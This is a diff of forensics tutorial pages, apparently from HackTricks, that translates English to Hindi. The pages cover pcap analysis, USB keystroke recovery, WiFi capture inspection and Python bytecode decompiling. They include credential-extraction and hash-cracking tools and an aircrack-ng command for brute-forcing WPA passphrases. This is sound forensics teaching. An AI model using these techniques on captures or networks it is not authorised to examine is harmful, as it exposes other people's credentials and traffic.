a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -2,31 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> **PCAP** और **PCAPNG** के बारे में एक नोट: PCAP फ़ाइल प्रारूप के दो संस्करण हैं; **PCAPNG नया है और सभी उपकरणों द्वारा समर्थित नहीं है**। आपको कुछ अन्य उपकरणों में इसके साथ काम करने के लिए Wireshark या किसी अन्य संगत उपकरण का उपयोग करके PCAPNG से PCAP में फ़ाइल को परिवर्तित करने की आवश्यकता हो सकती है। ## Online tools for pcaps -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +- यदि आपके pcap का हेडर **टूट गया** है, तो आपको इसे **सुधारने** का प्रयास करना चाहिए: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- एक pcap के अंदर **सूचना** निकालें और **malware** के लिए खोजें [**PacketTotal**](https://packettotal.com) +- [**www.virustotal.com**](https://www.virustotal.com) और [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) का उपयोग करके **malicious activity** के लिए खोजें ## Extract Information -The following tools are useful to extract statistics, files, etc. +निम्नलिखित उपकरण आँकड़े, फ़ाइलें आदि निकालने के लिए उपयोगी हैं। ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **यदि आप एक PCAP का विश्लेषण करने जा रहे हैं, तो आपको मूल रूप से Wireshark का उपयोग करना आना चाहिए** -You can find some Wireshark tricks in: +आप कुछ Wireshark ट्रिक्स यहाँ पा सकते हैं: {{#ref}} wireshark-tricks.md @@ -34,64 +28,56 @@ wireshark-tricks.md ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. +[**Xplico** ](https://github.com/xplico/xplico)_(केवल लिनक्स)_ एक **pcap** का **विश्लेषण** कर सकता है और इससे जानकारी निकाल सकता है। उदाहरण के लिए, एक pcap फ़ाइल से Xplico, प्रत्येक ईमेल (POP, IMAP, और SMTP प्रोटोकॉल), सभी HTTP सामग्री, प्रत्येक VoIP कॉल (SIP), FTP, TFTP, आदि निकालता है। **Install** - ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**चलाएँ** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +_**127.0.0.1:9876**_ पर _**xplico:xplico**_ क्रेडेंशियल्स के साथ पहुँचें। -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +फिर एक **नया केस** बनाएं, केस के अंदर एक **नया सत्र** बनाएं और **pcap** फ़ाइल **अपलोड** करें। ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Xplico की तरह, यह एक उपकरण है जो **pcaps से वस्तुओं का विश्लेषण और निकालने** के लिए है। इसका एक मुफ्त संस्करण है जिसे आप **यहां** [**डाउनलोड**](https://www.netresec.com/?page=NetworkMiner) कर सकते हैं। यह **Windows** पर काम करता है।\ +यह उपकरण पैकेट्स से **अन्य जानकारी का विश्लेषण** करने के लिए भी उपयोगी है ताकि आप जान सकें कि क्या हो रहा था, **तेजी** से। ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +आप [**NetWitness Investigator यहाँ से डाउनलोड**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) कर सकते हैं **(यह Windows पर काम करता है)**।\ +यह एक और उपयोगी उपकरण है जो **पैकेट्स का विश्लेषण** करता है और जानकारी को एक उपयोगी तरीके से क्रमबद्ध करता है ताकि **आप जान सकें कि अंदर क्या हो रहा है**। ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions -- File Carving +- उपयोगकर्ता नाम और पासवर्ड निकालना और एन्कोड करना (HTTP, FTP, Telnet, IMAP, SMTP...) +- प्रमाणीकरण हैश निकालें और Hashcat का उपयोग करके उन्हें क्रैक करें (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +- एक दृश्य नेटवर्क आरेख बनाएं (नेटवर्क नोड्स और उपयोगकर्ता) +- DNS क्वेरी निकालें +- सभी TCP और UDP सत्रों का पुनर्निर्माण करें +- फ़ाइल कार्विंग ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +यदि आप pcap के अंदर **कुछ** **खोज** रहे हैं तो आप **ngrep** का उपयोग कर सकते हैं। यहाँ मुख्य फ़िल्टर का उपयोग करते हुए एक उदाहरण है: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` - ### Carving -Using common carving techniques can be useful to extract files and information from the pcap: +सामान्य carving तकनीकों का उपयोग pcap से फ़ाइलों और जानकारी निकालने के लिए उपयोगी हो सकता है: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -99,46 +85,36 @@ Using common carving techniques can be useful to extract files and information f ### Capturing credentials -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +आप pcap या एक लाइव इंटरफ़ेस से क्रेडेंशियल्स को पार्स करने के लिए [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) जैसे उपकरणों का उपयोग कर सकते हैं। ## Check Exploits/Malware ### Suricata **Install and setup** - ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**pcap की जांच करें** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) एक उपकरण है जो -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- एक PCAP फ़ाइल पढ़ता है और Http स्ट्रीम निकालता है। +- gzip किसी भी संकुचित स्ट्रीम को डिफ्लेट करता है +- हर फ़ाइल को यारा के साथ स्कैन करता है +- एक report.txt लिखता है +- वैकल्पिक रूप से मेल खाने वाली फ़ाइलों को एक Dir में सहेजता है ### Malware Analysis -Check if you can find any fingerprint of a known malware: +जांचें कि क्या आप किसी ज्ञात मैलवेयर का कोई फिंगरप्रिंट ढूंढ सकते हैं: {{#ref}} ../malware-analysis.md @@ -146,12 +122,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) एक पैसिव, ओपन-सोर्स नेटवर्क ट्रैफिक एनालाइज़र है। कई ऑपरेटर संदिग्ध या दुर्भावनापूर्ण गतिविधियों की जांच का समर्थन करने के लिए Zeek का उपयोग नेटवर्क सुरक्षा मॉनिटर (NSM) के रूप में करते हैं। Zeek सुरक्षा डोमेन के अलावा प्रदर्शन माप और समस्या निवारण सहित ट्रैफिक विश्लेषण कार्यों की एक विस्तृत श्रृंखला का समर्थन करता है। -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. +बुनियादी रूप से, `zeek` द्वारा बनाए गए लॉग **pcaps** नहीं होते हैं। इसलिए आपको उन लॉग का विश्लेषण करने के लिए **अन्य उपकरणों** का उपयोग करने की आवश्यकता होगी जहाँ **pcaps** के बारे में **जानकारी** होती है। ### Connections Info - ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -201,9 +176,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### DNS जानकारी ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -220,8 +193,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## अन्य pcap विश्लेषण तकनीकें {{#ref}} dnscat-exfiltration.md @@ -237,10 +209,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index 9f63fbab3..45139130b 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -1,12 +1,12 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection. +यदि आपके पास एक USB कनेक्शन का pcap है जिसमें बहुत सारी रुकावटें हैं, तो यह संभवतः एक USB कीबोर्ड कनेक्शन है। -A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` +इस तरह का एक wireshark फ़िल्टर उपयोगी हो सकता है: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` -It could be important to know that the data that starts with "02" is pressed using shift. +यह जानना महत्वपूर्ण हो सकता है कि "02" से शुरू होने वाला डेटा शिफ्ट का उपयोग करके दबाया गया है। -You can read more information and find some scripts about how to analyse this in: +आप इस पर अधिक जानकारी पढ़ सकते हैं और इसे विश्लेषण करने के लिए कुछ स्क्रिप्ट पा सकते हैं: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 9c3dba419..9e3d7b6a6 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,17 +1,15 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +यदि आपके पास एक pcap है जिसमें एक कीबोर्ड के माध्यम से USB के जरिए संचार शामिल है, जैसे कि निम्नलिखित: ![](<../../../images/image (613).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication: - +आप संचार में जो लिखा गया था उसे प्राप्त करने के लिए उपकरण [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) का उपयोग कर सकते हैं: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +आप अधिक जानकारी पढ़ सकते हैं और इस पर विश्लेषण करने के लिए कुछ स्क्रिप्ट्स पा सकते हैं: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 36413cf70..6a3af7678 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,38 +1,36 @@ {{#include ../../../banners/hacktricks-training.md}} -# Check BSSIDs +# BSSIDs की जांच करें -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +जब आप एक कैप्चर प्राप्त करते हैं जिसका मुख्य ट्रैफ़िक Wifi है और आप WireShark का उपयोग कर रहे हैं, तो आप _Wireless --> WLAN Traffic_ के साथ कैप्चर के सभी SSIDs की जांच करना शुरू कर सकते हैं: ![](<../../../images/image (424).png>) ![](<../../../images/image (425).png>) -## Brute Force - -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: +## ब्रूट फोर्स +उस स्क्रीन के एक कॉलम में यह संकेत दिया गया है कि **क्या pcap के अंदर कोई प्रमाणीकरण मिला है**। यदि ऐसा है, तो आप इसे `aircrack-ng` का उपयोग करके ब्रूट फोर्स करने की कोशिश कर सकते हैं: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +उदाहरण के लिए, यह एक PSK (पूर्व साझा कुंजी) की सुरक्षा करने वाले WPA पासफ़्रेज़ को पुनः प्राप्त करेगा, जो बाद में ट्रैफ़िक को डिक्रिप्ट करने के लिए आवश्यक होगा। -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +# बीकन / साइड चैनल में डेटा -# Data in Beacons / Side Channel +यदि आपको संदेह है कि **Wifi नेटवर्क के बीकन के अंदर डेटा लीक हो रहा है** तो आप निम्नलिखित फ़िल्टर का उपयोग करके नेटवर्क के बीकन की जांच कर सकते हैं: `wlan contains ` या `wlan.ssid == "NAMEofNETWORK"` फ़िल्टर किए गए पैकेट्स के अंदर संदिग्ध स्ट्रिंग्स के लिए खोजें। -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +# Wifi नेटवर्क में अज्ञात MAC पते खोजें -# Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +निम्नलिखित लिंक **Wifi नेटवर्क के अंदर डेटा भेजने वाली मशीनों** को खोजने के लिए उपयोगी होगा: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +यदि आप पहले से ही **MAC पते जानते हैं, तो आप उन्हें आउटपुट से हटा सकते हैं** इस तरह की जांच जोड़कर: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +एक बार जब आप नेटवर्क के अंदर संवाद कर रहे **अज्ञात MAC** पते का पता लगा लेते हैं, तो आप **फ़िल्टर** का उपयोग कर सकते हैं जैसे: `wlan.addr== && (ftp || http || ssh || telnet)` इसके ट्रैफ़िक को फ़िल्टर करने के लिए। ध्यान दें कि ftp/http/ssh/telnet फ़िल्टर उपयोगी हैं यदि आपने ट्रैफ़िक को डिक्रिप्ट किया है। -# Decrypt Traffic +# ट्रैफ़िक डिक्रिप्ट करें Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..d53dbdacd 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,61 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# संकलित पायथन बाइनरी (exe, elf) को डिकंपाइल करें - .pyc से पुनः प्राप्त करें {{#include ../../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## संकलित बाइनरी से .pyc तक +एक **ELF** संकलित बाइनरी से आप **.pyc** प्राप्त कर सकते हैं: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +एक **python exe बाइनरी** को संकलित करने पर आप **.pyc** प्राप्त कर सकते हैं: ```bash python pyinstxtractor.py executable.exe ``` - ## From .pyc to python code -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +**.pyc** डेटा ("संकलित" पायथन) के लिए आपको **मूल** **पायथन** **कोड** को **निकालने** की कोशिश करनी चाहिए: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**सुनिश्चित करें** कि बाइनरी में **एक्सटेंशन** "**.pyc**" है (यदि नहीं, तो uncompyle6 काम नहीं करेगा) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +**uncompyle6** चलाते समय आपको **निम्नलिखित त्रुटियाँ** मिल सकती हैं: +### त्रुटि: अज्ञात जादुई संख्या 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +इसको ठीक करने के लिए आपको **जनित फ़ाइल के प्रारंभ में सही जादुई संख्या जोड़ने** की आवश्यकता है। -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**जादुई संख्याएँ पायथन संस्करण के साथ भिन्न होती हैं**, **पायथन 3.8** की जादुई संख्या प्राप्त करने के लिए आपको **पायथन 3.8** टर्मिनल खोलने और निष्पादित करने की आवश्यकता होगी: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +इस मामले में python3.8 के लिए **जादुई संख्या** **`0x550d0d0a`** है, फिर, इस त्रुटि को ठीक करने के लिए आपको **.pyc फ़ाइल** के **शुरुआत** में निम्नलिखित बाइट्स **जोड़ने** की आवश्यकता होगी: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**एक बार** जब आपने उस जादुई हेडर को **जोड़ दिया**, तो **त्रुटि ठीक हो जानी चाहिए।** +यहाँ एक सही तरीके से जोड़ा गया **.pyc python3.8 जादुई हेडर** इस तरह दिखेगा: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### त्रुटि: सामान्य त्रुटियों का डिकंपाइल करना -### Error: Decompiling generic errors +**अन्य त्रुटियाँ** जैसे: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` प्रकट हो सकती हैं। -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +इसका मतलब शायद यह है कि आपने **जादुई संख्या को सही तरीके से नहीं जोड़ा** या आपने **सही जादुई संख्या का उपयोग नहीं किया**, इसलिए सुनिश्चित करें कि आप **सही संख्या का उपयोग करें** (या एक नई संख्या आजमाएँ)। -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +पिछली त्रुटि दस्तावेज़ की जाँच करें। -Check the previous error documentation. +## स्वचालित उपकरण -## Automatic Tool +[**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) कई सामुदायिक उपलब्ध उपकरणों का संयोजन है जो शोधकर्ताओं को Python में लिखे गए निष्पादन योग्य फ़ाइलों को अनपैक और डिकंपाइल करने में सहायता करने के लिए डिज़ाइन किया गया है, विशेष रूप से उन फ़ाइलों के लिए जो py2exe और pyinstaller के साथ बनाई गई हैं। इसमें यह पहचानने के लिए YARA नियम शामिल हैं कि क्या कोई निष्पादन योग्य फ़ाइल Python-आधारित है और निर्माण उपकरण की पुष्टि करता है। -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: फ़ाइल का नाम: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' मौजूद नहीं है -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +एक सामान्य समस्या एक अधूरी Python बाइटकोड फ़ाइल से संबंधित है जो **unpy2exe या pyinstxtractor के साथ अनपैकिंग प्रक्रिया के परिणामस्वरूप** उत्पन्न होती है, जो फिर **uncompyle6 द्वारा एक गायब Python बाइटकोड संस्करण संख्या के कारण पहचानी नहीं जाती**। इसे संबोधित करने के लिए, एक prepend विकल्प जोड़ा गया है, जो आवश्यक Python बाइटकोड संस्करण संख्या को जोड़ता है, जिससे डिकंपाइलिंग प्रक्रिया को सुगम बनाता है। +समस्या का उदाहरण: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## python असेंबली का विश्लेषण -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +यदि आप पिछले चरणों का पालन करते हुए python "मूल" कोड निकालने में असमर्थ रहे, तो आप **असेंबली** निकालने की कोशिश कर सकते हैं (लेकिन यह **बहुत वर्णनात्मक** नहीं है, इसलिए **फिर से** मूल कोड निकालने की कोशिश करें)। [यहाँ](https://bits.theorem.co/protecting-a-python-codebase/) मैंने _.pyc_ बाइनरी को **डिसएसेंबल** करने के लिए एक बहुत सरल कोड पाया (कोड प्रवाह को समझने में शुभकामनाएँ)। यदि _.pyc_ python2 से है, तो python2 का उपयोग करें: ```bash >>> import dis >>> import marshal @@ -145,34 +125,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` - ## Python to Executable -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. +शुरू करने के लिए, हम आपको दिखाएंगे कि payloads को py2exe और PyInstaller में कैसे संकलित किया जा सकता है। -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### py2exe का उपयोग करके payload बनाने के लिए: +1. [http://www.py2exe.org/](http://www.py2exe.org) से py2exe पैकेज स्थापित करें। +2. payload के लिए (इस मामले में, हम इसे hello.py नाम देंगे), Figure 1 में दिए गए स्क्रिप्ट की तरह एक स्क्रिप्ट का उपयोग करें। "bundle_files" विकल्प जिसका मान 1 है, सब कुछ एक exe में शामिल करेगा जिसमें Python interpreter भी शामिल है। +3. एक बार स्क्रिप्ट तैयार हो जाने के बाद, हम कमांड “python setup.py py2exe” जारी करेंगे। यह executable बनाएगा, ठीक Figure 2 की तरह। ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +158,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = 